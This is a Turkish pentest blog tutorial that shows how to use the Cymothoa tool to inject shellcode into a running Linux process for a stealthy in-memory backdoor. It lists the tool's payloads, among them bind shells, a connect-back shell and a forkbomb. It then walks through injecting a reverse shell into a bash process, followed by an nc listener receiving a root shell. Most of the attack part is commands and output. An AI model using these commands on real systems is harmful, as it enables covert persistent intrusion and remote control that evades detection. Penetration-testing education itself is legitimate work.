Varolan bir process’e shellcode enjekte etmek

Pentest çalışmalarında, hedef sisteme erişim elde edildikden sonra sistemde kalıcı hale gelmek için arka kapılar oluşturulur.Bu konuda geliştirilen tekniklerden biri, çalışan bir process’e kod enjekte etmekdir.

Bu yöntemle, process’in dosya sistemindeki binary’sine herhangi bir zarar verilmediği için süreç RAM’de devam eder. Dolayısıyla, kendini diske yazan backdoor’lara göre tespit edilmesi daha da güçtür. Bir başka yazıda, analiz teknikleri yer alacaktır.

Cymothoa, çalışan bir process’e kod enjekte eden casus bir yazılımdır.Hali hazırda kendi üzerinde bulunan shellcode’ları enjekte ederek saldırgana uzakdan yönetim ve sistemde görünmez olma imkanı sağlar.

Kullanım parametreleri,

# ./cymothoa

_

_ | |

____ _ _ ____ ___ _| |_| |__ ___ _____

/ ___) | | | \ / _ (_ _) _ \ / _ \(____ |

( (___| |_| | | | | |_| || |_| | | | |_| / ___ |

\____)\__ |_|_|_|\___/ \__)_| |_|\___/\_____|

(____/

Ver.1 (beta) – Runtime shellcode injection, for stealthy backdoors…

By codwizard (codwizard@gmail.com) and crossbower (crossbower@gmail.com)

from ES-Malaria by ElectronicSouls (http://www.0×4553.org).

Usage:

cymothoa -p <pid> -s <shellcode_number> [options]

Main options:

-p process pid

-s shellcode number

-l memory region name for shellcode injection (default /lib/ld)

search for “r-xp” permissions, see /proc/pid/maps…

-m memory region name for persistent memory (default /lib/ld)

search for “rw-p” permissions, see /proc/pid/maps…

-h print this help screen

-S list available shellcodes

Injection options (overwrite payload flags):

-f fork parent process

-F don’t fork parent process

-b create payload thread (probably you need also -F)

-B don’t create payload thread

-w pass persistent memory address

-W don’t pass persistent memory address

-a use alarm scheduler

-A don’t use alarm scheduler

-t use setitimer scheduler

-T don’t use setitimer scheduler

Payload arguments:

-j set timer (seconds)

-k set timer (microseconds)

-x set the IP

-y set the port number

-r set the port number 2

-z set the username (4 bytes)

-o set the password (8 bytes)

-c set the script code (ex: “#!/bin/sh\nls; exit 0″)

escape codes will not be interpreted…

Payload Listesi

# ./cymothoa -S

0 – bind /bin/sh to the provided port (requires -y)

1 – bind /bin/sh + fork() to the provided port (requires -y) – izik <izik@tty64.org>

2 – bind /bin/sh to tcp port with password authentication (requires -y -o)

3 – /bin/sh connect back (requires -x, -y)

4 – tcp socket proxy (requires -x -y -r) – Russell Sanford (xort@tty64.org)

5 – script execution (see the payload), creates a tmp file you must remove

6 – forks an HTTP Server on port tcp/8800 – http://xenomuta.tuxfamily.org/

7 – serial port busybox binding – phar@stonedcoder.org mdavis@ioactive.com

8 – forkbomb (just for fun…) – Kris Katterjohn

9 – open cd-rom loop (follows /dev/cdrom symlink) – izik@tty64.org

10 – audio (knock knock knock) via /dev/dsp – Cody Tubbs (pigspigs@yahoo.com)

11 – POC alarm() scheduled shellcode

12 – POC setitimer() scheduled shellcode

13 – alarm() backdoor (requires -j -y) bind port, fork on accept

14 – setitimer() tail follow (requires -k -x -y) send data via upd

Örnek Kullanımı

Shellcode enjekte etmek istediğiniz process’in process id’sini belirtmeniz yeterli. /bin/bash kabuğuna bir bakalım,

# ps ax| grep bash

1725 tty1 S 0:00 -bash

1742 tty1 S+ 0:00 /bin/bash /usr/bin/startx

1959 pts/0 Ss 0:00 bash

1991 pts/0 S+ 0:00 grep –color=auto bash

“bash” kabuğunun pid değeri 1959

Hedef sistemden, reverse shell elde etmek için 3 numaralı  payload’ı kullanacağız.

# ./cymothoa -p 1959 -s 3 -x 192.168.1.6 -y 4443

[+] attaching to process 1959

register info:

———————————————————–

eax value: 0xfffffe00 ebx value: 0xffffffff

esp value: 0xbfcab388 eip value: 0xb7766430

————————————————————

[+] new esp: 0xbfcab384

[+] payload preamble: fork

[+] injecting code into 0xb7767000

[+] copy general purpose registers

[+] detaching from 1959

[+] infected!!!

Parametrelerin açıklamaları;

-p = /bin/bash process id’si

-s = 3. sıradaki back connect payload’ı

-x = back connect yapacağı ip adresi (saldırganın ip adresi)

-y = back connect yapacağı port numarası

Saldırgan, portu dinleme moduna aldığında kurban sistemden shell erişimi elde etmiş olur.

ozanus@localhost:~$ nc -vv -l 4443

Connection from 192.168.1.9 port 4443 [tcp/*] accepted

dir

Makefile cymothoa hexdump_to_cstring.pl personalization.h udp_server

bgrep.c cymothoa.h payloads.h syscalls.txt

uname -a

Linux seclabs.bga.com.tr 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux

id

uid=0(root) gid=0(root) groups=0(root)

 

Yazar:

Ozan UÇAR

ozan.ucar@bga.com.tr

  1. No comments yet.

  1. No trackbacks yet.

 
Hosting Sponsorumuz